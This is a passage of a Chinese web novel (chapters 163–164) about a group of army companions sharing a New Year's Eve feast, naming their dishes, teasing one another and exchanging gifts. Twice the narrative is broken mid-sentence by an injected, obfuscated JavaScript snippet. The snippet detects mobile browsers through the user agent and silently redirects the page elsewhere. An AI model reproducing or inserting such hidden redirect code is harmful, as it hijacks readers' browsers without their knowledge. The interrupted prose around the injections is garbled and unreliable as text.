那天之后,每个人都会去厨房忙碌,有人是去挑食材琢磨做什么菜,有人是跟着宁哥学厨艺,总之大家都希望在除夕夜交上自己的作品。 安然每日就像个“监工”似的,追在每个人身后,问他们做什么菜,还一个劲地提醒说完不成就要受罚的。毕竟是小孩子,所有人里,过年最开心的就是安然了。 163. 第一百六十三章 除夕夜早上,军营中已是欢天喜地、张灯结彩,骁扬军中所有士兵都准备好吃好喝地庆新年。 在这一天,十二将星的每个人都脱去铁甲战袍,换上了喜庆一些的衣服。 想着小孩子新年都喜欢穿新衣服,映雪几天前就给安然做好了新棉袄,在漠北根本没衣店也没裁缝,她就只能一针一线自己动手了。新衣是大红的颜色,针脚格外讲究,上面绣着花蝶翩舞。映雪花了月余的时间才做完,好在安然穿在身上很是喜庆和漂亮,她看在眼里也便心里喜悦。 安然特别喜欢这件红袄,试穿了好多次,要不是映雪说新年那天才能穿,小丫头早就等不及了。除夕那天一大早,所有人还没醒,安然就换好了新衣服。她倒是很乖,不敢吵醒其他人,就自己坐在床上玩。 待四个女孩醒来,见安然那副模样都乐开了怀。 安然扑到温映雪的怀里,“映雪姐,你真好,安安好喜欢这个新衣服。” “你喜欢就好,但你玩的时候或吃饭的时候还是稍稍注意一点,不要很快就弄脏了啊。” 安然急不可耐,“我知道了,那我出去玩了?” “等等,我给你梳梳头,你再出去。” 安然很着急出去玩,“不用了,我觉得这样就挺好了。” 映雪打趣道:“安安,你衣服穿得这么漂亮,如果头发再弄得漂亮些,你的哥哥更会夸你的。” “是这样吗?”安然有些迟疑。 “不信你去问问其他姐姐。” 安然跑到林慕瑶面前,“我梳了头哥哥真的会表扬我吗?” 安然不去问别人,单单直接去问慕瑶,其他三个女孩都会心一笑,想来安然也知道慕瑶与叶阳晨最亲近,也最了解叶阳晨的心思,才会这么做的。 慕瑶也知道三个姐妹在笑什么,她心里有点害羞,还有点甜蜜。慕瑶俯身轻抚安然的脸蛋,“那当然啊,你哥哥喜欢长得漂亮的女孩子,安安梳了头才更漂亮。” 安然跑回温映雪身前,“映雪姐,那我要梳头。” 映雪耐心地帮安然梳头,最后给她编了两个辫子。安然跑起来时,辫子就一晃一摆的,很是俏皮可爱。 梳完后,安然跑到盥洗盆前,看着水里的自己,笑得像花一样。照完了后,她这才放心地跑出营帐,去找了叶阳晨。 进了叶阳晨的营帐,安然站在那里不说话,等着叶阳晨看到自己后表扬自己。 叶阳晨正在整理自己的书案,他突然一抬头,看见了乖巧的安然,“呦,这是谁家的女孩啊?长得真俊俏啊!” 安然本就长得蛾眉皓齿,楚楚可人,叶阳晨的夸赞并非言过其实。 听到叶阳晨果然夸奖自己了,安然抿起嘴唇,笑意渐浓。她心里很得意,果然映雪姐和慕瑶姐没有骗自己,她庆幸自己梳了头才跑出来,否则就得不到这句表扬了。 听到了想听的表扬,安然又兴高采烈地跑了出去。之后,安然就一直在营地里窜来窜去的。准确说,她是到营地的各个伙房去,找各种机会偷吃东西。 午时一过,中军帐中的长桌子上已经摆好了女儿红酒,这几坛女儿红都是凌牧云珍藏了许多年的好酒。之前,兄弟们喝过一次凌牧云家乡的女儿红后都言好喝,凌牧云便把此事记在心里,年前特意派人回云鹤帮取了几坛子,就是想让兄弟们过年的时候喝个痛快。 此时,每个人皆在不同的伙房里忙碌着。到了未时,兄弟们都相继做完了自己的年菜,一道道菜被陆续端上餐桌。直到雨宁大哥最后一道菜做完,兄弟十二人终于围坐在长桌前。 安然有点急不可耐,“哥哥,我们是不是可以开动了?” 叶阳晨温和道:“还要稍稍等一下,我们大家还要做一个游戏。” “什么游戏啊?”安然眨了眨灵动的双眸,显然是对哥哥说的话产生了浓厚的兴趣。 “玩这个游戏前,我们都要把眼睛闭上,而且谁也不能偷偷看,偷看就算输。”叶阳晨给其他兄弟偷偷使着眼色,然后说道,“好了,我们现在就闭眼睛了。” 安然很听话,立刻闭上了眼睛。但叶阳晨还是不放心,假意吓她,“安然一定要闭好眼睛,不准偷看,睁开眼睛被发现就算输,还要扣掉几个烤鸡腿的。” 安然闭着眼睛,把嘴噘得高高的,“我没偷看,也没睁眼睛。” 众人按照之前商量好的,每个人走到安然面前,把提前准备好给她的新年礼物,轻轻放到她的面前。这个主意是温映雪出的,他们这么做就是要给安然一个惊喜。安然在这个世上没什么亲人了,这些哥哥姐姐就是她的亲人,大家都想让安然过个幸福快乐的新年。 每个人都放完礼物后,各自回了座位,叶阳晨这才开口道:“好啦,现在可以睁开眼睛了。” 安然睁开眼睛,看见自己面前摆了那么多礼物,她眼睛陡然瞪得大大的。安然好像不敢置信,用手指搓了搓眼睛,发现这是真的,这才嘴角微微勾起,直至乐开了花。 安然看着那些玩具,有棋、有弹弓、有陀螺、有皮球、有五彩石、有拨浪鼓、有雕塑小人等等,这些礼物都很合安然的心思。 安然摸着它们,内心愉悦至极,她终于忍不住问道:“哥哥,这些都是哪儿来的?” 叶阳晨暖心一笑,“当然是哥哥姐姐提前给你准备的,你喜欢吗?” 安然点头“嗯”了一声,“当然喜欢,太喜欢了。” 安然乖乖地站起来,冲着所有人鞠了个躬,“安安谢谢哥哥姐姐,我以后都会乖乖的,我爱你们。” 听到安然这样说,每个人心里也都暖暖的。安然是大家的小妹妹,有了她在,军营都不再给人冰冷的感觉,而是像个家了。 安然俏皮一笑,“哥哥,我想玩。” “你乖,吃完饭我们再玩。” 叶阳晨重新看着桌子上的菜,笑着调侃,“先不说这些菜好不好吃,至少菜的卖相都不错嘛。看来大家不仅能弯弓耍枪,还能抡大勺啊!” 一旁的林慕瑶浅笑着,轻打了叶阳晨一下的肩膀。 胡枫也开起玩笑,“不如我们大家依次介绍一下自己做的菜吧?你做得不好吃,至少要吹牛吹得好啊。” 诗怡探着头问道:“那从谁先开始呢?” 叶阳晨来了兴致,“好,那我们就按照桌子上摆菜的顺序,从左至右依次开始介绍吧。” 这些菜是按照做好菜的时间顺序来摆的,最先做好的菜就放在了最左边,然后依次往后摆。 左边第一道菜是叶阳晨做的,叶阳晨站起身坏笑着,“我先宣布,我们介绍自己的菜的时候,不仅要介绍菜的食材,还要报一个好听的菜名啊!今天是除夕,菜名不吉利可不行,菜名太粗浅也不行,当然了,没有菜名更不行。如果报不出菜名也要罚酒的。” 话一说完,全体人都嗷嗷叫着,甚至拿筷子敲着碗碟,共同对叶阳晨的建议表示“抗议”,抱怨叶阳晨为什么临时加规则。这会儿要临时想出菜名,还要是吉利的词语,对于文学造诣不是很深的人来说,还真有点伤脑筋。 叶阳晨揶揄道:“你们都太没有意识了,一看就是从来不下厨的,哪个菜没有菜名啊?” 众人觉得叶阳晨的话也有一番道理,一时无力反驳。 叶阳晨咧嘴一笑,“我跟兄弟发誓,我也是刚刚突发奇想,才想到让大家报个菜名。其实我现在也没想好我做的菜叫什么名字,不过既然是我定的规矩,那就我先说吧。” 叶阳晨语气稍顿,开始自卖自夸道:“我这个菜叫锦绣河山。” 胡哥跳起来,“阳晨,你这明明就是柿子蛋汤,还什么锦绣河山啊?” 胡枫这么一说,大家都笑了起来,只有慕瑶双目含情地望着叶阳晨。 慕瑶突然想起小时候跟叶阳晨一起吃的第一顿饭,那时的叶阳晨满嘴流油地啃着酱猪蹄,一副纨绔恶少的派头,再联想如今,叶阳晨却能做出一道菜来,真是不可思议。 叶阳晨笑着解释:“我刚才说了,菜名太粗浅是不行的。我叫它是锦绣河山,自有我的一番道理。锦绣顾名思义就是五彩颜色,我这汤里红的是柿子,绿的是葱花,黄的是鸡蛋,可谓颜色亮眼,而这汤水就代表山河。” 话音刚落,胡枫调侃道:“兄弟,从前,我只以为你武功了得,仗也打得不含糊,没想到你胡说八道的本领也是天下一流啊!” 丁鹏插话道:“我可以作证,从小到大,我哥都是胡编乱造的高手。小时候我们一起玩游戏,他输了还有办法自圆其说,都是那些强盗逻辑。” 叶阳晨冲着丁鹏瞪眼睛,“臭小子,你胆肥了,看我一会儿吃完饭怎么收拾你。” 丁鹏玩笑道:“大家看嘛,他还恐吓我。” 众人一听都笑出了声。 只是刚刚叶阳晨讲得也算合情合理,众人也不得不信服。大家虽然嘴上开着叶阳晨的玩笑,却对“锦绣河山”这个名字非常赞许。 “好啦,我说完了,该轮到下一道菜了。”说完,叶阳晨坐了下来。 凌牧云做的菜摆在叶阳晨做的菜旁边,也是今天第二个做完端进大帐的,所以他是第二个报菜名的人。凌牧云随即站起来,“我今天献丑了,这是我人生的第一道菜,我这道菜叫比翼双飞。”说这话时,他故意用眼睛瞟了芷萱一眼。 芷萱躲闪着垂下头,只当没有看见凌牧云的眼神。凌牧云做的是一盘炸鸡翅,它色泽金黄,看上去格外有食欲。 诗怡笑道:“云哥,这盘子里明明是十二对鸡翅,应该叫比翼十二飞啊!” 丁鹏也在一旁附和,“云哥,这么多的翅膀都被你拿来了,别人吃的都是没有翅膀的鸡啊?” 凌牧云坦言笑道:“我喜欢吃鸡翅,但又不会做,来,大家都尝尝。油炸的东西,凉了就不好吃了。” 安然探着脑袋,“虽然云哥哥是第一次做这个菜,但是我作证,真的很好吃。我刚才在伙房就偷吃了很多的。嘿嘿。”说着,她又伸出手去拿了一块,咬了口还自言自语抱怨道:“鸡翅好吃是好吃,就是不如我的鸡腿肉多。” 毫无疑问,大家又被安然的直肠子性格逗笑了。 大家也非常捧场,每人都拿了一块。鸡翅嚼在嘴里,外酥里嫩、回味悠长。所有人都赞不绝口,芷萱虽没有说表扬的话,但吃得格外认真。 接下来站起身介绍菜的是叶清扬,他还是不太会笑,只是今天是除夕,脸上寒意少了几分。 叶清扬说话时还是那么一本正经,“我这道菜叫清风送爽。”其实这道菜就只是把黄瓜切成片,然后依次排列摆在盘子里,黄瓜甚至连皮都没有削。盘子的旁边放着一碟酱汁,用来蘸黄瓜吃。 清扬介绍完后,诗怡在一旁戏谑道:“好一阵清风啊,真够清爽的。” 胡枫撇撇嘴,“是啊,这清风刮得久,都刮到我这里来了。” 芷萱嘴角微勾,“还真是难为我弟弟了。” 至于其他人都知道叶清扬不苟言笑,也就没人开他的玩笑。 之后,轮到慕瑶了,她伸手介绍着,“我做的是西芹炒百合,至于名字嘛……” 慕瑶本身就不会烧菜,这道菜还是跟温映雪现学的。虽然有小雪在一旁指导,慕瑶还是浪费了好多西芹和百合,她练习了好多次,终于才做得有些样子了。 大家都在等着慕瑶报菜名,丁鹏更是跟叶阳晨开玩笑,“哥,如果嫂子答不上来,会不会也挨罚啊?”丁鹏与叶阳晨从小一起长大,形影不离的,只有他敢无所顾忌地跟叶阳晨开玩笑。丁鹏平时话不算太多,但遇到叶阳晨的事,他总不忘调侃两句的。 胡枫插话,“阳晨这小子肯定徇私枉法。” 牧云笑着附和,“我看极有可能。” 芷萱瞪了牧云一眼,“有你什么事?你总在胡哥后面添油加醋。”前几日红包的事,等于是把牧云和芷萱的不寻常关系在兄弟们面前公布了,为了这事芷萱还留着气呢,难免说话还带着刺。 叶阳晨假意批评道:“芷萱,你又针对人家牧云了?人家怎么就不能说话呢?今天是除夕,大家都畅所欲言。” 哥哥的话让芷萱有点不好意思,牧云帮着解围,“晨哥,没事,我早就习惯了,她只对我这样。” 牧云这样一说,芷萱的脸颊更加红润了几分。 胡哥冲着叶阳晨道:“小晨,看吧,世间万物一物降一物,卤水点豆腐,人家一个愿打一个愿挨。” “胡哥此言有理。” 胡哥这么一逗,芷萱心里更如小鹿乱撞。 慕瑶为芷萱解围道:“阳晨,我们继续报菜名吧,一会儿菜名还没说完,菜都凉了。” 叶阳晨恍然大笑,“好好,我们继续。” 慕瑶还是没想出来自己的菜名,正皱着眉,映雪解围道:“这道菜叫百年好合,我替我姐说了。” 胡枫假装严肃,“报菜名怎么能别人替呢?刚才阳晨的规矩可不是这么定的。” 众人都知道胡哥爱开玩笑,并非是真的要难为慕瑶,大家都等着胡哥接下来说什么。 胡哥依旧一本正经,“好吧,既然这道菜叫百年好合,慕瑶总要说说跟谁百年好合啊? 大家这才反应过来,原来胡哥在这儿等着呢。几乎每个人笑了起来,都跟着胡哥起哄。 慕瑶脸颊红润,垂下眉眼不语。十二将星中的兄弟姐妹,无人不知叶阳晨与林慕瑶的关系,慕瑶也从不刻意避讳与叶阳晨的感情。只是这次自己当着大家的面被胡哥开玩笑,慕瑶还是会害羞的。 叶阳晨也忍不住笑了出来,“胡哥,你是成心挑事啊?你明知道慕瑶跟我……” 胡枫乐得前仰后合,“慕瑶跟你什么啊?你小子非要报菜名,结果把自己坑了吧?” 映雪瞪了胡哥一眼,“胡哥,你这是诚心害我。” 胡枫回以坏笑,“谁让你乱帮忙说话的?” 见慕瑶的脸越来越红,叶阳晨不好意思再说下去了,“胡哥,我说不过你,慕瑶的那二十碗酒,我替她喝了,行了吧?” 慕瑶担心地看了一眼叶阳晨,然后看向胡枫,“胡哥,可不可以少喝点啊?” “别说胡哥不帮你啊,既然是百年好合,只要你跟阳晨喝个交杯酒,就可以不让阳晨喝那二十大碗了。”胡枫坏笑,“一杯换二十碗,很划算吧?” 慕瑶的心跳陡然加快,耳根也越来越热。二十大碗酒实在是太多了,人喝完后肯定就倒地了,慕瑶才不舍得让叶阳晨喝那么多。 纠结片刻后,慕瑶羞着脸低声道:“那就选交杯酒。” 大家拍手称快,击掌相庆,这种场面可不容易见到。 胡枫递上两个小酒杯,再坏笑着帮两人把酒杯里斟满了酒。在众人的目光下,慕瑶羞赧地拿起其中一支,但她眼眸低垂不敢看任何人,然后缓缓地将另一个酒杯递给了叶阳晨。 叶阳晨接过酒杯,主动与慕瑶手臂交叉,两人双双喝下了交杯酒。喝酒时,慕瑶眼含秋波地望着自己的爱人,不觉间回想起儿时跟叶阳晨成婚时饮交杯酒的情景。 胡枫继续起哄,“让我们祝福新人百年好合。”喝交杯酒这件事,林慕瑶虽然有些难为情,但她毕竟和叶阳晨拜过堂,经历过明媒正娶的流程,如今还有了夫妻之实,所以林慕瑶心里是能坦然接受这件事的。 全体人也都跟着鼓掌凑热闹,也算是找了个祝福叶阳晨和林慕瑶的机会。林慕瑶拉拉叶阳晨的手指,“你看他们啊。” 叶阳晨厚着脸皮笑着,“好啦,不要逗我媳妇啦。” 一句话说完,林慕瑶红着脸看向叶阳晨,“你是在帮我,还是在跟着大家欺负我啊?” 叶阳晨才摆摆手,“好啦,我们换下一话题了,还是继续介绍我们的菜。小雪,该你了。” 温映雪站起身,脸上似笑非笑,“我的菜叫烈阳寒雪。” 叶阳晨戏谑道:“小雪,你的厨艺不输于宁哥,怎么就只做了个凉拌西红柿呢?” 温映雪不以为然,“好吃就好了嘛。” 江雨宁解围道:“小晨,这就是你误会小雪了,你不知道,这里面大多数人的菜,雪儿都是或是出了主意,或是帮了忙的。等到她自己做菜时,却没有了时间。为了不误了开席时间,小雪才匆匆做了这个。” 映雪侧着脑袋,“晨晨哥,你不要听宁哥乱说,只帮了一点小忙而已。” 叶阳晨笑问:“那它为什么叫烈阳寒雪呢?” 映雪解释:“红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14693657|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的西红柿就像是一轮红日,而西红柿上面的白糖就如白雪一样,白糖融化的时候,也似雪化了一般,所以我才叫这道菜为烈阳寒雪。” “你们可以尝尝,很好吃的。我把西红柿的皮剥了,又浸在糖水里两个时辰,然后沥干了水,又洒的白糖,吃起来格外的甜。” 众人叹服。 随后,胡哥主动站起来,“好啦,兄弟们,也该轮到我了。我烤的是羊肉串,用的是上好的滩羊。味道特别好,大家要多捧场啊。” 安然听到“捧场”连个字,赶紧拿了一串开吃,边吃还边抱怨:“胡哥最小气了,刚刚他烤好了,我偷拿了一串,他还打我手板心,说开饭的时候才能吃。” 胡枫笑着,“我的羊肉串太好吃了,我怕你吃了一串就停不下来了。” 小六问道:“这羊肉串没有名字吗?” “我的菜叫万箭齐发,每根签子就好像一支箭,故而得名。” 诗怡瞪大了眼睛,“胡哥,你这名字算不得吉利哦。” “臭丫头,拆你哥我的台,是替你姐报刚刚交杯酒的仇吗?”胡枫自圆其说,“我们万箭齐发打败敌人,怎么会不吉利?这是大大的吉利。” 众兄弟都翻着白眼,觉得胡哥的解释有些牵强。 见大家还要找茬,胡枫岔开话题,“好啦,我们看看下一道菜,丁鹏牌烤鸭。” 丁鹏站起身帮胡枫解围,“我的烤鸭外酥里嫩,一口入魂!我给了它起的名字是凤凰涅槃。” 这时,小六突然调侃,“鹏哥,你的烤鸭怎么没有鸭腿啊?”小六从小到大吃了好多苦,经常吃了上顿没下顿,他对吃的东西比较敏感,少了鸭腿的事他肯定能看出来。 刚刚大家还真没注意,经小六这么一提醒,所有人才发现,的的确确,盘子里一个鸭腿都没有。 原来事情是这样的,刚才丁鹏做的烤鸭刚出炉,洛洛便来了厨房。洛洛说是来帮慕瑶找调料,其实调料哪里都有,这丫头偏偏去丁鹏那里,也是想借机看看丁鹏在做什么菜。 洛洛和丁鹏就像冤家一样,见面时总是吵个不停,而见不到时,又记挂着彼此。那日叶阳晨被毒得人事不省,丁鹏推心置腹给洛洛讲自己小时候的事,无形中拉近了两人的心,自那天之后,洛洛总是有事没事更惦记丁鹏了。 丁鹏想说点什么,但又不好意思开口。就纠结片刻,他扯下一个鸭腿递给洛洛。 洛洛见到鸭腿怔住了,“给我的吗?” 丁鹏点头,“是啊,难道你不爱吃烤鸭?我做的烤鸭可是天下一绝。” 洛洛连忙摆手,“不是,我喜欢。只是现在还没开饭,我偷偷吃,好吗?” “没什么不好,你不说我不说,谁知道你偷吃。你尝尝,现在的皮还是酥的。过一会儿皮就没那么酥了。” 洛洛伸手接过烤鸭腿,只是她的眼睛怎么都无法从丁鹏的身上移开。 丁鹏也感受的洛洛眼中的热意,他连忙转过身继续忙碌着。 洛洛红着脸,拿着鸭腿跑开了,她没想到除夕这天竟会有这样好的事发生。在此之前,洛洛与丁鹏经常拌嘴,洛洛还从未见丁鹏竟有如此温情的一面,直到今天,洛洛才发现丁鹏也有关心自己的时候。 出了伙房,洛洛才偷偷尝了尝丁鹏的烤鸭,她觉得特别好吃。正吃着呢,突然听到一个声音,“好吃吗?” 洛洛一抬头,才看见是安然。洛洛支支吾吾道:“你这丫头,吓死我了。” 安然追问:“我是问你好不好吃?” “还可以。” “那你这个鸭腿从哪得来的?” 洛洛不想说出丁鹏来,无关其他,只是少女的心事罢了。 安然“威胁”道:“你不告诉我,我就告诉大家你偷吃东西了。” 洛洛表情心虚,“是丁鹏那里,但是你不准说是我说的。”说完洛洛就跑开了。 安然进了伙房,“鹏哥,我要吃个烤鸭腿。” “一会儿吃饭的时候再吃。” “你偏心,都是你的妹妹,你为什么就给了洛洛姐烤鸭腿,却不给我?” 丁鹏拿安然没办法,只好又扯下一个鸭腿给了安然。 丁鹏原以为会没人注意,没想到还是让人发现了。一时间,丁鹏不知道该怎么回答,只好编着谎话,“烤鸭刚刚烤好的时候,我怕烤鸭的火候不够,便亲自尝了尝。” 大家听丁鹏那么说,也就信了。只有叶阳晨眼神玩味地看着丁鹏,因为在泽清山的时候,丁鹏就经常做烤鸭给自己吃。叶阳晨相信,即使丁鹏闭着眼睛做这道菜,也不会在火候上差了分毫。 帐内重新安静下来,芷萱开始介绍自己的清蒸桂花鱼,这道菜是芷萱跟着映雪学的。 小的时候,阳晨、清扬、芷萱经常去映雪的家玩。温映雪家住海棠谷,那里有个落樱溪,溪水里就有桂花鱼。他们四个小鬼常常把鱼捉上来,或蒸着吃,或烤着吃。所以这道菜对于他们四人来说,是儿时的记忆,也是儿时的味道。 叶阳晨和叶清扬同时拿起筷子夹了一块鱼肉吃进嘴里,叶清扬边摇头边撇嘴,“姐,你没有得到真传啊。” 叶阳晨也点头道:“我也觉得是。” 其他人就如听哑谜一样,完全听不懂叶阳晨和叶清扬说的什么。映雪搭话:“有的吃就不错了,你们俩人还挑剔。” 叶芷萱毫不在意,“我肯定比不上小雪做的,得不到真传就得不到吧,我觉得挺好吃,我叫这道菜为‘鱼跃龙门’。” 凌牧云故意说道:“这道菜在我们家乡,还有另一个名字,叫相濡以沫。” 众人笑着,唯独芷萱微微垂下眉眼,心里像揣个小兔子一样,蹦个不停。谁都知道,“相濡以沫”这个词是常形容夫妻感情甚笃的,而凌牧云早不接话,晚不接话,偏偏在自己报菜名的时候插嘴,不免让别人觉得牧云的话里有所指代,芷萱不由得心里暗气。 叶阳晨感慨着,“如果能和心爱的人在一起的话,相濡以沫都是幸福。” 哥哥这么一说,芷萱的头垂得更低了。 凌牧云端起面前的酒杯,一饮而尽,“晨哥,英雄所见略同。” 芷萱实在不好意思,于是岔开话题,“下一个菜是谁做的?不要再讨论我的菜了。” 诗怡举起手,“终于到我了,我给大家炸了一个春卷,寓意“春风送暖”。它口感脆嫩,希望大家喜欢。” 胡枫玩笑道:“一个清风送爽,一个春风送暖,有意思,这名字真像一对。诗怡,你是该给你家清扬送点温暖,才能融化他这冰块。” “胡哥讨厌。”诗怡娇嗔着。 “我是说真的,清扬在你春风送暖下,话比以前多了点,你要继续努力。” “胡哥,你就不要取笑妹妹了嘛。” 两人正在那儿争论着,霍玉突然站起来,胡枫和诗怡同时看向他,异口同声道:“你突然站起来干嘛?” 霍玉笑道:“轮到我的菜了!” 胡枫调转枪口,“霍霍,你这菜怎么这么素啊?你不会还想回去当和尚吧?” 霍玉表情认真,“别看菜很素,但是味道不错。我在里面加了豆芽、芹菜、藕片、香菇、木耳、还有胡萝卜丝。这是一道素什锦,可我叫它前程似锦。” 映雪揶揄霍玉道:“在这里,荤菜更受欢迎。比如你旁边那只叫花鸡,肯定更合大家的口味。” 既然自己的菜被点名了,叶未寒索性纠正映雪道:“小雪,我这才不是叫花鸡,我这菜叫十里香。叫你那个名字,太不雅了,我哥肯定要罚我的。” 凌牧云仰头一笑,“这名字改的好。” 大家的菜都介绍完了,最后轮到了江雨宁的压轴大菜。江雨宁站在那里搓着手,“我这个菜嘛,是最能体现我们十二个兄弟的情义的一道菜。我用了十二种食材做这道菜,牵强一点说,这十二种食材就代表我们十二个人。这些食材分别是,虾、排骨、竹笋、萝卜、鸡肉、青椒、香菇、木耳、白菜、火腿、芹菜、瘦猪肉丸子。我叫这道菜为‘全家福’,寓意我们兄弟永远在一起,永远都幸福。”(这道菜的食材查询自百度) 宁哥话音一落,众人默契地举起酒杯,共同期待新年会平安喜乐。 164. 第一百六十四章 放下酒杯,叶阳晨说道:“今年过年我们每人都做了一道菜,大家要尽量把菜都吃完啊,这才不辜负每个人的心意。尤其是那几个酒量好的,不要没吃几口菜就灌酒。” 十二将星这些人中,除了慕瑶和诗怡酒量不好,其他人都非常能喝,且胡枫和雨宁大哥特别喜欢拼酒。 众人皆笑,每个人都伸长了筷子去夹自己喜欢吃的菜,边吃边聊着这一年的趣事、开心事。 那天火灵特别活跃,一直不停地在帐子里窜来窜去的,每个人都喂它吃了很多的菜,火灵把每道菜都品尝了一遍,每道菜它都喜欢吃。慕瑶时不时抚摸着火灵的头说道:“你这家伙今天也过节了,是不是?看你吃的,满嘴都是油。” 火灵在慕瑶面前没了凶残狠厉,只是在那儿摇头晃脑的,好像在说它吃得很高兴。 火灵自随军出征后,就不如在泽清山时吃的好了,毕竟出门在外,有时狼草押运来的不及时,它就会很长时间没有肉吃。火灵很机灵,没有肉吃了就往厨房跑,然后在宁哥的脚边蹭来蹭去的,宁哥就心领神会这家伙的意思了。江雨宁很心疼它,更宠着它,厨房里哪怕还有一块肉,他都偷偷喂火灵吃了。 有空的时候,叶阳晨也会带着火灵去打猎,帮它解解馋。其实火灵自己的捕猎能力也是很强的,它在壮年的时候,咬死老虎杀死豹都易如反掌。可能是火灵待在叶阳晨身边时太过“温顺”,所以叶阳晨只有看火灵捕食的时候,才会想起火灵也是一头猛兽。 与帐子外呼啸的北风相比,帐内暖意融融。饭吃到一半,大家互相敬酒,你跟我喝,我跟他喝,完全停不下来。 期间,映雪走到叶阳晨身边,“哥,小妹敬你一杯。” 霍玉不知道什么时候蹿出来,“哥,我跟小雪一起敬你。” 映雪斜了他一眼,“有你什么事?谁要跟你一起?” “欸,霍玉是厚道人,你这丫头不要总欺负人家。”叶阳晨将自己的酒杯倒满,“来,我们三人一起。” 三人正要举杯,江雨宁也凑了过来,粗着嗓子道:“也算我一个。” 映雪睨了宁哥一眼,“宁哥,为什么每次我只要一跟晨晨哥喝酒,你就来凑热闹呢?” 江雨宁当然知道小雪说的是去年中秋节的事情,那次小雪敬叶阳晨酒的时候,自己就走过去要一起喝。 叶阳晨打趣江雨宁,“宁哥,今天你还要继续跟小雪拼酒吗?” “不敢拼了,她跟女中杜康似的。”江雨宁笑嗔着,“小晨,话说回来,那次你不厚道啊!小雪那么能喝,你也不提前跟我说,害得我醉得两天没起来床。” 去年过中秋的时候,雨宁大哥高兴,于是就找每个人拼酒,他的酒量算很好了。当时,叶阳晨开了一句玩笑话,“宁哥,你酒量虽好,可不一定是小雪的对手。” 温映雪虽然酒量惊人,可她并不嗜酒贪杯,平常日子也不怎么喝,只有遇到特别开心的人或事,她才会喝个痛快。所以当时在军营,只有熟悉的人知道她的酒量。 叶阳晨的激将法果然奏效,江雨宁微醺之下便有点不服气,当即就要跟映雪拼酒。 温映雪的意思是点到为止,一人喝上三杯,意思一下就好。可江雨宁非要拼出个高下,她也不好不给面子结果两人都喝醉了。不过映雪只是脚下有点软,意识还是清醒的,而宁哥摊倒在地上怎么都站不起来,最后甚至完全断片了,还是被人搀着回的房间。 自那天后,江雨宁再也不敢跟温映雪拼酒了。 叶阳晨自小跟映雪一起长大,当然知道温映雪的酒量,即使是他自己也不敢跟小雪比酒量。叶阳晨严重怀疑自己这个师妹的酒量遗传了师父温狐。 ****** 叶阳晨与霍玉、映雪、宁哥共同饮了这杯酒。 除夕那晚,大家还是都喝得略多。吃完年夜饭,十二个人又坐在一起喝茶、聊天。 凌牧云给芷萱使了个眼色,示意她一起出帐去,芷萱装作看不见不明白。 凌牧云先走出帐去等着,芷萱没办法,只有气呼呼地跟了出去。众兄弟看破不说破,只有胡枫对小雪附耳道:“看到没?我兄弟的魂被你姐妹勾走了。” 小雪也不落下风,“你兄弟不地道,大家说话说得好好的,他非要拉着萱萱去说悄悄话。” 胡枫附和道:“我也觉得凌牧云这小子有点重色轻友。” 帐外,呼呼的北风刮着,那怒吼声犹如脱缰的野马,所到之处皆是瑟瑟寒意。 芷萱慢步走向凌牧云,“有什么事?一定要现在出来说?”此话出口仍不带任何温情,但语气上却没有那么不耐烦了。 “你跟我来。”凌牧云有点神秘。 “去哪儿?” 借着酒劲壮胆,凌牧云情不自禁地拉着芷萱的手,“别多问,你就跟我来吧?” 芷萱轻轻挣脱着凌牧云的手,可凌牧云攥得紧,她也就稍稍顺从了。 凌牧云领着芷萱来到他住的寝帐前,“跟我进来。” 芷萱只是稍稍迟疑,还是跟着凌牧云走了进去。她还是第一次进他们男人住的帐篷,见里面左右两边各摆着八张床。 凌牧云快步走过去,从床底下拿出一个小木盒子,然后招了招手,“萱萱,你过来。” 芷萱听话走了过去,“干什么啊?” “来坐下。” 芷萱有点难为情,但还是坐在了凌牧云的床沿,都是江湖儿女,又在行军打仗,也就不能顾虑那么多了。 凌牧云打开盒子,从里面先拿出用一包东西递给芷萱,它用牛皮纸包着。 见这个包装,叶芷萱一怔,“这是从前在你家,你给我买的那个糖果?” “是啊。” “你怎么会有这东西?这是从哪儿得来的?” “我上次回帮里取晶泉灵芝,虽然时间紧,但是还是给你买了一包。” 芷萱把糖果拿在手里,突然觉得那糖果是带着温度的。 凌牧云解释着:“这东西放了一阵子了,我就是想过新年的时候拿给你,算是新年礼物了。” 芷萱感动得说不出来话。见她不吱声,牧云有点失落,“怎么?你不喜欢?” 芷萱点点头。 牧云展颜,“你的点头是喜欢还是不喜欢啊?” “你自己体会吧。” “我怎么体会啊?” “不明白算了。”芷萱霍地站起身,“好啦,我们回去吧,大家都在那边,我们俩单独坐在这边太久不好。” 回去的路上,芷萱故意放慢脚步,她纠结良久,终于轻声问道:“牧云,在北都城外那次,我不是把话说清楚了吗?你为何还是对我这么好呢?” “陷进去了,走不出来了,我愿意等等,等着有一天你回心转意。” “别……”芷萱想说让凌牧云别等了,可这次话说到一半,却怎么都说不出口了。好长一段时间了,她有点弄不清楚自己的想法,当时她拒绝凌牧云的时候还没有以身相许,打完平朔九州后,凌牧云对她的意义已经不同了,这是她的男人,她生命里唯一的男人。芷萱曾设想过,如果她再把凌牧云推离自己的身边,如果有一天凌牧云娶了别的女孩,她好像心里挺别扭的。但同时,芷萱也有点自责,自己这样占着凌牧云,又不给人家一个明确的答案,好像这样也挺说不过去的。 凌牧云有点伤感,“你是劝我别等了,是吗?我也劝过自己无数次了,可还是做不到。萱萱,你在我心里住了太久太久,今生我不会再心悦哪个姑娘了。” “你这样说,是存心让我内疚吗?”芷萱轻瞥一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 